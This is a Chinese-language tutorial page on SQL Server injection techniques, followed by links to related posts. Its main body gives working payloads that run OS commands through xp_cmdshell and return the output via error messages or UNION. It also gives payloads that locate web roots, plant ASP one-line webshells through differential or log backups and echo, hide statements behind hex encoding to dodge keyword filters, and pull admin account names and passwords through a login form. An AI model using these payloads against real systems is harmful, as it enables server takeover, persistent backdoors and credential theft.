SqlServer 注入技巧
一、SA权限执行命令,如何更快捷的获取结果?
有显示位
显示位
其实这里的关键并不是有无显示位。exec master..xp_cmdshell 'systeminfo'生成的数据写进一张表的时候,会产生很多行。而我们要做的就是如何很多行通过显示位、或者报错语句一次性爆出来,这里的关键就是多行合一。
方法①
01
02
BEGIN
03
IF EXISTS(select table_name from information_schema.tables where table_name='test_1')drop table test_1;
04
IF EXISTS(select table_name from information_schema.tables where table_name='test_2')drop table test_2;
05
create TABLE test_1([output][varchar](1000));
06
insert test_1 exec master.dbo.xp_cmdshell 'ipconfig /all';
07
DECLARE @result varchar(8000)
08
SET @result='~'
09
SELECT @result=@result+' '+output from test_1 where output>' '
10
SELECT @result AS result INTO test_2;
11
SELECT convert(int,(select result from test_2));
12
END;
解析:
这里6-9句的意思是申明一个@result的临时变量;
设置初始值为’~’;将test_1中的数据数据依次取出来,迭代条件是output>’ ‘,并组合成新的字符串,字符串之间用空格隔开最后复制给@result;
然后将@result设置一个别名,然后插入test_2中。
最后报错回显
PS:
mssql英文字母比较大小不区分大小写
mssql字符串比较大小和C语言中的str_cmp()一样的道理
方法②(注入点测试成功、测试平台SQL Server2008- 10.0.1600.22 (X64)
1
报错:AND (SELECT * FROM test_1 FOR XML PATH(''))=1--
2
显示:UNION SELECT 1,(SELECT * FROM test_1 FOR XML PATH(''))--
二、如何快速寻找网站目录(SA用户)
SA用户被降权
SA用户未被降权
这里区分降权与非降权是有道理的,如果没有被降权。那么权限很高就可以读取某些保存在本机的配置了,如果权限低一点的话,可以使用dir命令查找。
方法①(被降权:–亲测成功):
1
CREATE TABLE test_1([output][varchar](1000));
2
INSERT test_1 EXEC master.dbo.xp_cmdshell 'dir /s d:\web.config ';
3
AND (SELECT * FROM test_1 FOR XML PATH(''))=1;
方法②(未被降权–system–亲测成功):
1
CREATE TABLE test_1([output][varchar](1000));
2
INSERT test_1 EXEC master.dbo.xp_cmdshell 'cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root ';
3
AND (SELECT * FROM test_1 FOR XML PATH(''))=1;
方法③(sa+system权限+IIS7.0+IIS7.5):
%systemroot%/system32/inetsrv/appcmd.exe list site ——列出网站列表
%systemroot%\system32\inetsrv\appcmd.exe list vdir ——列出网站物理路径
PS: %systemroot%代表c:\windows\
三、如何利用注入点getshell
方法①(差异备份)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试
1
IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;
2
backup database XFData to disk = 'D:\WebRoot\asp.bak';
3
create table [dbo].[test_tmp] ([cmd] [image]);
4
insert into test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
5
backup database XFData to disk='D:\WebRoot\asp.asp' WITH DIFFERENTIAL,FORMAT;
方法②(减小体积)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试
1
IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;
2
alter database XFData set RECOVERY FULL;
3
create table test_tmp (a image);
4
backup log XFData to disk = 'D:\WebRoot\asp.bak' with init;
5
insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);
6
backup log XFData to disk = 'D:\webroot\123.asp'
PS:
如果不能备份,很有可能是访问权限的问题。可以切换目录尝试
如果表存在,也不能成功;所以先判断表是否存在,如果存在就删除。
方法③(echo 输出一句话木马)–sa权限+当前用户写权限–亲测成功
1
echo ^<%eval request("pass")%^> >D:\%D1%A7%B7%D6%CF%B5%CD%B3\WebRoot\update.asp
PS:这里由于是注入点,因此需要注意编码的问题。一般来说,网页的编码和数据库的编码是一致的(如果不一致~~~算我输)。这里我用了一个中文路径做说明。
四、如何避免使用select之类的关键字
方法①:十六进制混淆
1
;DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--
五、登录点的注入如何最快获取后台密码
01
1' HAVING 1=1-- #爆出表名
02
03
1' GROUP BY username HAVING 1=1-- # 爆出字段名
04
05
# User_Mess.Account
06
07
# User_Mess.PWD
08
09
1';select/**/convert(int,(select/**/top/**/1/**/Account/**/from/**/User_Mess))--
10
1';select/**/convert(int,(select/**/top/**/1/**/PWD/**/from/**/User_Mess/**/where/**/Account='admin'))--
SqlServer 注入技巧的更多相关文章
- SQLServer注入技巧
一.对于SA权限的用户执行命令,如何获取更快捷的获取结果? 有显示位 无显示位 其实这里的关键并不是有无显示位.exec master..xp_cmdshell 'systeminfo'生成的数据写进 ...
- Update、Insert注入技巧
title: Update.Insert注入技巧 date: 2017-10-23 18:07:57 tags: ["注入"] 审计了不少代码,再看代码的时候最多出现的就是注入,很 ...
- False注入,以及SQL注入技巧总结
title: False注入,以及SQL注入技巧总结 date: 2017-04-25 00:23:31 tags: ['SQL注入'] --- 利用False我们可以绕过一些特定的WAF以及一些未来 ...
- MYSQL_Join注入技巧
Join注入技巧 join无名列报错注入 约束条件 在知到表名的前提下才能操作 注入语句 and extractvalue(1,concat(0x7e,(select * from (select * ...
- sqlmap注入技巧收集
收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id= ...
- Sqlmap注入技巧收集整理
TIP1 当我们注射的时候,判断注入 http://site/script?id=10http://site/script?id=11-1 # 相当于 id=10http://site/script? ...
- 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)
原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...
- sqlmap注入技巧
收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id= ...
- MYSQL注入技巧备忘录
MYSQL一些技巧 仅仅是作为自己备忘录,如果错误,敬请斧正. 0)基础饶过 1.大小写绕过 2.双写绕过 3.添加注释 /*!*/ or /*!小于mysql版本*/ 5.宽字节.Latin1默认编 ...
随机推荐
- iscroll性能
iscroll是比较耗性能的,在iPhone和性能比较好的机是比较流畅的,在性能低的手机就会出现卡的情况.所以如果不想出现这种情况,只有不使用iscroll,囧.
- ECMAScript 6学习笔记(一):展开运算符
同步发布于:https://mingjiezhang.github.io/(转载请说明此出处). JavaScript是ECMAScript的实现和扩展,ES6标准的制定也为JavaScript加入了 ...
- JS 节流
作为前端的小白,在做项目的过程中,一般只考虑到实现功能,并没有考虑到性能的问题. 比如说,下拉加载更多的这个功能和resize()是特别耗费性能的.此时就要想到节流了. 节流:就是然一个函数无法在短时 ...
- 参加:白帽子活动-赠三星(SAMSUNG) PRO....
参加:白帽子活动-—赠三星(SAMSUNG) PRO.... Everybody~小i在这里提前祝大家国庆假期愉快,咱们期待已久的国庆活动终于开始拉,下面进入正题,恩,很正的题! 活动地址:http: ...
- Nunit在VS2010加载不了程序集的解决办法
本机环境: Win7 64位 旗舰版 VS2010 Nunit2.6.3 故障重现步骤: 1.在启动外部应用程序中增加C:\Program Files (x86)\NUnit 2.6.3\bin\nu ...
- Android 自定义带刻度的seekbar
自定义带刻度的seekbar 1.布局 <span style="font-family:SimHei;font-size:18px;"><com.imibaby ...
- Effective Java 阅读笔记——并发
66:同步访问共享的可变数据 synchronized:1互斥,阻止线程看到的对象处于不一致的状态:2保证线程在进入同步区时能看到变量的被各个线程的所有修改 Java中,除了long或者double, ...
- 【原】训练自己haar-like特征分类器并识别物体(2)
在上一篇文章中,我介绍了<训练自己的haar-like特征分类器并识别物体>的前两个步骤: 1.准备训练样本图片,包括正例及反例样本 2.生成样本描述文件 3.训练样本 4.目标识别 == ...
- iOS 内存管理(一)之基础知识介绍
1,什么是引用计数 所有OC对象都有一个计数器,叫做引用计数,引用计数就是目前有几个对象在使用该对象(持有该对象的引用): 2,什么是对象所有权 A对象拥有B对象的引用,A对象拥有B对象的所有权: 3 ...
- LeetCode 2 Add Two Numbers(链表操作)
题目来源:https://leetcode.com/problems/add-two-numbers/ You are given two linked lists representing two ...